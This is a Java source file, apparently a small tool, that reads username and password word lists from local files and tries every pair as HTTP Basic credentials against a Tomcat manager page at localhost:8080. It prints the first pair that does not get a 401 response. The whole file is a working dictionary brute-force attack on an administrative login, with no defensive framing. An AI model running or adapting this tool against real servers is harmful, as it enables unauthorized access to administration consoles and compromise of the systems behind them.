main

package test;


import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;

import org.apache.log4j.Logger;

import com.alibaba.druid.util.Base64;

/**
 * <pre>
 * HTTP请求代理类
 * </pre>
 * 
 * @author benl
 * @version 1.0, 2007-7-3
 */
public class HttpRequestProxy {
	/**
	 * 连接超时
	 */
	private static int connectTimeOut = 5000;

	/**
	 * 读取数据超时
	 */
	private static int readTimeOut = 10000;

	/**
	 * 请求编码
	 */
	private static String requestEncoding = "gbk";

	/**
	 * <pre>
	 * 发送带参数的GET的HTTP请求
	 * </pre>
	 * 
	 * @param reqUrl
	 *            HTTP请求URL
	 * @param parameters
	 *            参数映射表
	 * @return HTTP响应的字符串
	 */

	public static boolean doGet(String requrl, String getstr) {

		boolean flag = false;
		HttpURLConnection url_con = null;
		String responseContent = null;
		try {
			StringBuffer params = new StringBuffer();
			URL url = new URL(requrl);
			url_con = (HttpURLConnection) url.openConnection();
			// url_con.set
			url_con.setRequestMethod("GET");
			url_con.setRequestProperty("Connection", "Keep-Alive");
			url_con.setRequestProperty("Cache-Control", "no-cache");
			url_con.setRequestProperty("Authorization", "Basic " + getstr);
			//System.setProperty("sun.net.client.defaultConnectTimeout", String.valueOf(HttpRequestProxy.connectTimeOut));// （单位：毫秒）jdk1.4换成这个,连接超时
			//System.setProperty("sun.net.client.defaultReadTimeout", String.valueOf(HttpRequestProxy.readTimeOut)); // （单位：毫秒）jdk1.4换成这个,读操作超时
			 url_con.setConnectTimeout(5000);//（单位：毫秒）jdk
			// 1.5换成这个,连接超时
			 url_con.setReadTimeout(5000);//（单位：毫秒）jdk 1.5换成这个,读操作超时
			url_con.setDoOutput(true);

			byte[] b = params.toString().getBytes();
			url_con.getOutputStream().write(b, 0, b.length);
			url_con.getOutputStream().flush();
			url_con.getOutputStream().close();
			System.out.println(url_con.getResponseCode());
			if (url_con.getResponseCode() != 401) {
				flag = true;
			}
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			if (url_con != null) {
				url_con.disconnect();
			}
		}
		return flag;

	}

	public static void readFile(String user, String pass) {
		File fileuser = new File(user);
		File filepass = new File(pass);
		String struser = "";
		String strpass = "";
		try {
			InputStream inuser = new FileInputStream(fileuser);
			InputStreamReader isruser = new InputStreamReader(inuser);
			BufferedReader bfuser = new BufferedReader(isruser);
			String a = "";
			while ((struser = bfuser.readLine()) != null) {
				System.out.println("用户名"+struser);
				InputStream inpass = new FileInputStream(filepass);
				InputStreamReader isrpass = new InputStreamReader(inpass);
				BufferedReader bfpass = new BufferedReader(isrpass);
				while ((strpass = bfpass.readLine()) != null) {
					System.out.println("密码"+strpass);
					byte[] result ;
					a= Base64.byteArrayToBase64((struser + ":" + strpass).getBytes());
					//a = new String(result);
					System.out.println("all： "+a);
					boolean temp1;
					temp1 = HttpRequestProxy.doGet("http://localhost:8080/manager/html/", a);
					if (temp1) {
						System.out.print((struser + ":" + strpass));
						break;
					}
				}
			}
		} catch (FileNotFoundException e) {

			e.printStackTrace();
		} catch (IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}

	public static void main(String[] args) {

		String pathuser = "C:\\Amine\\user.txt";
		String pathpass = "C:\\Amine\\password.txt";
		HttpRequestProxy.readFile(pathuser, pathpass);
	}
}